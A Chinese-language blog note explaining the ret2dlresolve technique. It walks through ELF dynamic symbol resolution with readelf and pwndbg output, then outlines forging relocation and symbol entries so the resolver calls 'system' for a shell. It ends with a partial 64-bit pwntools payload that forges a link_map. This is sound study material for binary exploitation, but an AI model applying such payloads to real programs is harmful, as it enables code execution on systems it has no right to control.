ret2dlresolve 笔记

TOC

  1. 1. 前导知识
    1. 1.1. dlresolve
      1. 1.1.1. Elf32_Rel
      2. 1.1.2. Elf32_Sym
    2. 1.2. _dl_runtime_resolve(link_map, rel_offset)
      1. 1.2.1. 具体步骤
      2. 1.2.2. 手动解析
  2. 2. ret2dlresolve
    1. 2.1. 主要步骤
  3. 3. 绕过
  4. 4. 总结
  5. 5. ret2dl64
  6. 6. 其他资料

本博客内容主要借鉴自文章: bbs.pediy.com

这里做个笔记,方便以后查阅。ret2dlresolve主要是用于32的程序,因为32的程序方便我们控制栈里面的参数,所以文章后面内容都是基于32位的glibc。

前导知识

如果我们要利用dlresolve的话,就先必须了解dlresolve的原理。

dlresolve

首先我们需要了解两个结构体,在进行动态链接的时候,主要是通过这连个结构体进行解析的。

Elf32_Rel

typedef struct
{
Elf32_Addr r_offset; // 指向GOT表的指针
Elf32_Word r_info;
// 一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
// 1和3是这个导入函数的符号在.dynsym中的下标,
// 如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;

用IDA查看一下他的布局。

00000000 Elf32_Rel       struc ; (sizeof=0x8, align=0x4, copyof_2)
00000000 r_offset dd ?
00000004 r_info dd ?
00000008 Elf32_Rel ends

可以看到这里主要是8个字节。

Elf32_Sym

typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

用IDA查看一下他的布局。

00000000 Elf32_Sym       struc ; (sizeof=0x10, align=0x4, mappedto_1)
00000000 st_name dd ?
00000004 st_value dd ?
00000008 st_size dd ?
0000000C st_info db ?
0000000D st_other db ?
0000000E st_shndx dw ?
00000010 Elf32_Sym ends

这里总共是16个字节。

第一个参数,[0x804a004]是一个link_map的指针,这个结构是干什么的,我们不关心,但是有一点要知道,它包含了.dynamic的指针,通过这个link_map,_dl_runtime_resolve函数可以访问到.dynamic这个section。

第二个参数,是当前要调用的导入函数在.rel.plt中的偏移(不过64位的话就直接是index下标)。

接下来然我们看看一个程序的一些表的位置,可以用命令readelf -S 程序进查看,下面是运行的结果。

ex@Ex:~/test$ readelf -S helloworld
There are 30 section headers, starting at offset 0xe78:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481ac 0001ac 000050 10 A 6 1 4
[ 6] .dynstr STRTAB 080481fc 0001fc 00004a 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048246 000246 00000a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048250 000250 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048270 000270 000008 08 A 5 0 4
[10] .rel.plt REL 08048278 000278 000010 08 AI 5 23 4
[11] .init PROGBITS 08048288 000288 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482b0 0002b0 000030 04 AX 0 0 16
[13] .plt.got PROGBITS 080482e0 0002e0 000008 08 AX 0 0 8
[14] .text PROGBITS 080482f0 0002f0 0001c2 00 AX 0 0 16
[15] .fini PROGBITS 080484b4 0004b4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080484c8 0004c8 000014 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 080484dc 0004dc 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 08048520 000520 000110 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049630 000630 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049634 000634 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049638 000638 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049720 000720 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 08049724 000724 000014 04 WA 0 0 4
[24] .data PROGBITS 08049738 000738 000008 00 WA 0 0 4
[25] .bss NOBITS 08049740 000740 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 000740 000029 01 MS 0 0 1
[27] .symtab SYMTAB 00000000 00076c 000410 10 28 44 4
[28] .strtab STRTAB 00000000 000b7c 0001f7 00 0 0 1
[29] .shstrtab STRTAB 00000000 000d73 000105 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),

注意这里我们要重点关注 .rel.plt 、.dynsym 、 .dynstr 的值。

具体步骤

  1. 用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

就相当于下面的调用结果:

_dl_runtime_resolve(link_map, rel_offset);

根据rel_offset找到rel _entry:(JMPREL就是.rel.plt的地址)

Elf32_Rel * rel_entry = JMPREL + rel_offset;

由rel_entry->r_info定位符号信息,SYMTAB是表示的是结构体Elf32_Sym的一个数组,而这个数组的基地址就是 .dynsym

Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];

再定位符号信息中的符号名,STRTAB是.dynstr的地址,也就是说所有的程序名字的寻址,都是通过这个地址进行偏移的。

char *sym_name = STRTAB + sym_entry->st_name;

根据得到的符号名搜索动态库,找到地址后填充至.got.plt对应位置。

手动解析

这么多概念性的东西,正常人一般都会看的比较云里雾里。这时候就需要我们自己动手解析一遍了。

在手动解析之前,我么必须要知道 .rel.plt 、.dynsym 、 .dynstr 的值。用readelf命令来获取。

ex@Ex:~/test$ readelf -S helloworld
There are 30 section headers, starting at offset 0xe78:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481ac 0001ac 000050 10 A 6 1 4
[ 6] .dynstr STRTAB 080481fc 0001fc 00004a 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048246 000246 00000a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048250 000250 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048270 000270 000008 08 A 5 0 4
[10] .rel.plt REL 08048278 000278 000010 08 AI 5 23 4
[11] .init PROGBITS 08048288 000288 000023 00 AX 0 0 4
[12] .plt PROGBITS 080482b0 0002b0 000030 04 AX 0 0 16
[13] .plt.got PROGBITS 080482e0 0002e0 000008 08 AX 0 0 8
[14] .text PROGBITS 080482f0 0002f0 0001c2 00 AX 0 0 16
[15] .fini PROGBITS 080484b4 0004b4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080484c8 0004c8 000014 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 080484dc 0004dc 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 08048520 000520 000110 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049630 000630 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049634 000634 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049638 000638 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049720 000720 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 08049724 000724 000014 04 WA 0 0 4
[24] .data PROGBITS 08049738 000738 000008 00 WA 0 0 4
[25] .bss NOBITS 08049740 000740 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 000740 000029 01 MS 0 0 1
[27] .symtab SYMTAB 00000000 00076c 000410 10 28 44 4
[28] .strtab STRTAB 00000000 000b7c 0001f7 00 0 0 1
[29] .shstrtab STRTAB 00000000 000d73 000105 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),

从上面可得 .rel.plt 的值是0x08048278 、.dynsym 的值是0x080481ac、 .dynstr 的值是0x080481fc

下面是我们要实验的代码:

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ebx
push ecx
call __x86_get_pc_thunk_ax
add eax, 130Ah
sub esp, 0Ch
lea edx, (aHelloWorld - 8049724h)[eax] ; "hello world"
push edx
mov ebx, eax
call _puts
add esp, 10h
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn
main endp

我们在call _puts出下断点,然后在_dl_runtime_resolve出下来。

pwndbg> 
0x0804842b in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x8049724 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049638 (_DYNAMIC) ◂— 0x1
EBX 0x8049724 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049638 (_DYNAMIC) ◂— 0x1
ECX 0xffffcd70 ◂— 0x1
EDX 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffcd58 ◂— 0x0
ESP 0xffffcd40 —▸ 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
EIP 0x804842b (main+37) —▸ 0xfffe90e8 ◂— 0x0
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x804841a <main+20> add eax, 0x130a
0x804841f <main+25> sub esp, 0xc
0x8048422 <main+28> lea edx, [eax - 0x1254]
0x8048428 <main+34> push edx
0x8048429 <main+35> mov ebx, eax
► 0x804842b <main+37> call puts@plt <0x80482c0>
s: 0x80484d0 ◂— 'hello world'

0x8048430 <main+42> add esp, 0x10
0x8048433 <main+45> mov eax, 0
0x8048438 <main+50> lea esp, [ebp - 8]
0x804843b <main+53> pop ecx
0x804843c <main+54> pop ebx
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcd40 —▸ 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
01:0004│ 0xffffcd44 —▸ 0xffffce04 —▸ 0xffffcff6 ◂— '/home/ex/test/helloworld'
02:0008│ 0xffffcd48 —▸ 0xffffce0c —▸ 0xffffd00f ◂— 'CLUTTER_IM_MODULE=xim'
03:000c│ 0xffffcd4c —▸ 0x804841a (main+20) ◂— add eax, 0x130a
04:0010│ 0xffffcd50 —▸ 0xffffcd70 ◂— 0x1
05:0014│ 0xffffcd54 ◂— 0x0
... ↓
07:001c│ 0xffffcd5c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 804842b main+37
f 1 f7deee81 __libc_start_main+241
pwndbg> si
0x080482c0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x8049724 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049638 (_DYNAMIC) ◂— 0x1
EBX 0x8049724 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049638 (_DYNAMIC) ◂— 0x1
ECX 0xffffcd70 ◂— 0x1
EDX 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffcd58 ◂— 0x0
ESP 0xffffcd3c —▸ 0x8048430 (main+42) ◂— add esp, 0x10
EIP 0x80482c0 (puts@plt) ◂— jmp dword ptr [0x8049730]
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x80482c0 <puts@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x8049730>

0x80482c6 <puts@plt+6> push 0
0x80482cb <puts@plt+11> jmp 0x80482b0

0x80482b0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x8049728>
0x80482b6 jmp dword ptr [0x804972c] <0xf7feae10>

0xf7feae10 <_dl_runtime_resolve> push eax
0xf7feae11 <_dl_runtime_resolve+1> push ecx
0xf7feae12 <_dl_runtime_resolve+2> push edx
0xf7feae13 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7feae17 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7feae1b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe4f40>
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcd3c —▸ 0x8048430 (main+42) ◂— add esp, 0x10
01:0004│ 0xffffcd40 —▸ 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
02:0008│ 0xffffcd44 —▸ 0xffffce04 —▸ 0xffffcff6 ◂— '/home/ex/test/helloworld'
03:000c│ 0xffffcd48 —▸ 0xffffce0c —▸ 0xffffd00f ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│ 0xffffcd4c —▸ 0x804841a (main+20) ◂— add eax, 0x130a
05:0014│ 0xffffcd50 —▸ 0xffffcd70 ◂— 0x1
06:0018│ 0xffffcd54 ◂— 0x0
... ↓
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 80482c0 puts@plt
f 1 8048430 main+42
f 2 f7deee81 __libc_start_main+241
pwndbg> b _dl_runtime_resolve
Breakpoint 2 at 0xf7feae10: file ../sysdeps/i386/dl-trampoline.S, line 35.
pwndbg> c
Continuing.

Breakpoint 2, _dl_runtime_resolve () at ../sysdeps/i386/dl-trampoline.S:35
35 ../sysdeps/i386/dl-trampoline.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x8049724 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049638 (_DYNAMIC) ◂— 0x1
EBX 0x8049724 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049638 (_DYNAMIC) ◂— 0x1
ECX 0xffffcd70 ◂— 0x1
EDX 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffcd58 ◂— 0x0
ESP 0xffffcd34 —▸ 0xf7ffd940 ◂— 0x0
EIP 0xf7feae10 (_dl_runtime_resolve) ◂— push eax
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x80482c0 <puts@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x8049730>

0x80482c6 <puts@plt+6> push 0
0x80482cb <puts@plt+11> jmp 0x80482b0

0x80482b0 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x8049728>
0x80482b6 jmp dword ptr [0x804972c] <0xf7feae10>

► 0xf7feae10 <_dl_runtime_resolve> push eax <0x8049724>
0xf7feae11 <_dl_runtime_resolve+1> push ecx
0xf7feae12 <_dl_runtime_resolve+2> push edx
0xf7feae13 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7feae17 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7feae1b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe4f40>
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcd34 —▸ 0xf7ffd940 ◂— 0x0
01:0004│ 0xffffcd38 ◂— 0x0
02:0008│ 0xffffcd3c —▸ 0x8048430 (main+42) ◂— add esp, 0x10
03:000c│ 0xffffcd40 —▸ 0x80484d0 ◂— push 0x6f6c6c65 /* 'hello world' */
04:0010│ 0xffffcd44 —▸ 0xffffce04 —▸ 0xffffcff6 ◂— '/home/ex/test/helloworld'
05:0014│ 0xffffcd48 —▸ 0xffffce0c —▸ 0xffffd00f ◂— 'CLUTTER_IM_MODULE=xim'
06:0018│ 0xffffcd4c —▸ 0x804841a (main+20) ◂— add eax, 0x130a
07:001c│ 0xffffcd50 —▸ 0xffffcd70 ◂— 0x1
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 f7feae10 _dl_runtime_resolve
f 1 8048430 main+42
f 2 f7deee81 __libc_start_main+241
Breakpoint _dl_runtime_resolve
pwndbg>

可以从上面的调试代的栈中看出,link_map的值是0xf7ffd940,而rel_offset的值是0

00:0000│ esp  0xffffcd34 —▸ 0xf7ffd940 ◂— 0x0
01:0004│ 0xffffcd38 ◂— 0x0

接下来我们就来手动解析一遍,首先找到对应的Elf32_Rel,也就是重定向表,用Elf32_Rel * rel_entry = JMPREL + rel_offset;公式进行查找。也就是相对于.rel.plt 的值(0x08048278)的偏移。其结果如下:

Breakpoint _dl_runtime_resolve
pwndbg> p *(Elf32_Rel *)(0x08048278 + 0x0)
$1 = {
r_offset = 134518576,
r_info = 263
}

然后找到对应的Elf32_Sym,也就是符号表,用Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];公式进行查找。SYMTAB是相对于.dynsym 的值(0x080481ac)的数组偏移,而ELF32_R_SYM就可以看成是将值向右移8位,也就是不要最后字节。其结果如下:

pwndbg> p ((Elf32_Sym *)0x080481ac)[ 263>>8 ]
$2 = {
st_name = 26,
st_value = 0,
st_size = 0,
st_info = 18 '\022',
st_other = 0 '\000',
st_shndx = 0
}

最后我们通过char *sym_name = STRTAB + sym_entry->st_name;能找到我们对应的函数名字符串了,STRTAB的值就是 .dynstr 的值(0x080481fc)。其结果如下:

pwndbg> p (char *)(0x080481fc + 26)
$3 = 0x8048216 "puts"

到此我们完成了一次手动解析。

ret2dlresolve

当你知道dlresolve原理之后,其实进行ret2dlresolve操作也就是不难了,主要是通过控制程序流,来构建假的Elf32_Rel和假的Elf32_Sym,然后让_dl_runtime_resolve函数解析我们自己的字符串,比如system字符串,这样我们就可以直接调用system函数来拿shell。

主要步骤

  1. 通过将eip覆盖为_dl_runtime_resolve地址,rel_offset参数我们要实先构造号,让它能通过 .rel.plt地址 的偏移找到假的Elf32_Rel
  2. 伪造 rel_entry 使 sym_entry落在可控区域,伪造 sym_entry 使 sym_name 落在可控区域;
  3. 伪造sym_name为‘system’

光这么看是比较难理解这个漏洞的,理解这个漏洞最好的办法就是手动构造一遍。

绕过

在执行ret2dl-solve时,还有一点必须绕过,那就是.gnu.version+ELF32_R_SYM(rel_entry->r_info) * 2必须是一个较小的值,否则下面的代码就会执行错误。

In file: /glibc/glibc-2.23/elf/dl-runtime.c
87 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
88 {
89 const ElfW(Half) *vernum =
90 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
91 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
92 version = &l->l_versions[ndx];
93 if (version->hash == 0)
94 version = NULL;
95 }

总结

仅仅是光看文章来理解ret2dlresolve的话是很困难的,最好能动手操作一下。

ret2dl64

下面是ret2dl64的实例代码,原理就是伪造 link_map 来进行地址偏移后调用。


layout = [
0, 0x601230, 0, 0x601230 , 0 , 0x601230, # dynstr, dynsym, rel_plt
libc.bss() - libc.symbols['__libc_start_main'], p32(0x7), p32(1), 0, # Elf64_Rela
(p32(0), p8(0), p8(1), p16(0), (libc.symbols['system'] - libc.symbols['__libc_start_main'] + 0x10 ** 16) % (0x10 ** 16), 0), # Elf64_Sym
]

sh.send(flat(layout))

sh.interactive()

一般为了方便 rel_offset 设置为0。

  0x7ffff7de4dfe <_dl_fixup+14>    mov    rax, qword ptr [rdi + 0x68]
► 0x7ffff7de4e02 <_dl_fixup+18> mov rdi, qword ptr [rax + 8]
0x7ffff7de4e06 <_dl_fixup+22> mov rax, qword ptr [r10 + 0xf8]
0x7ffff7de4e0d <_dl_fixup+29> mov rax, qword ptr [rax + 8]
0x7ffff7de4e11 <_dl_fixup+33> lea r8, [rax + rdx*8]
0x7ffff7de4e15 <_dl_fixup+37> mov rax, qword ptr [r10 + 0x70]
0x7ffff7de4e19 <_dl_fixup+41> mov rcx, qword ptr [r8 + 8]

上面这些我们要注意的值,对应的结构如下:

[val_0x68+8]==STRTAB dynstr
[val_0x70+8]==SYMTAB dynsym
[val_0xf8+8]==JMPREL rel_plt

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; 对应上面的 p32(0x7), p32(1),其中7是magic,1是symtab的数据偏移。

其他资料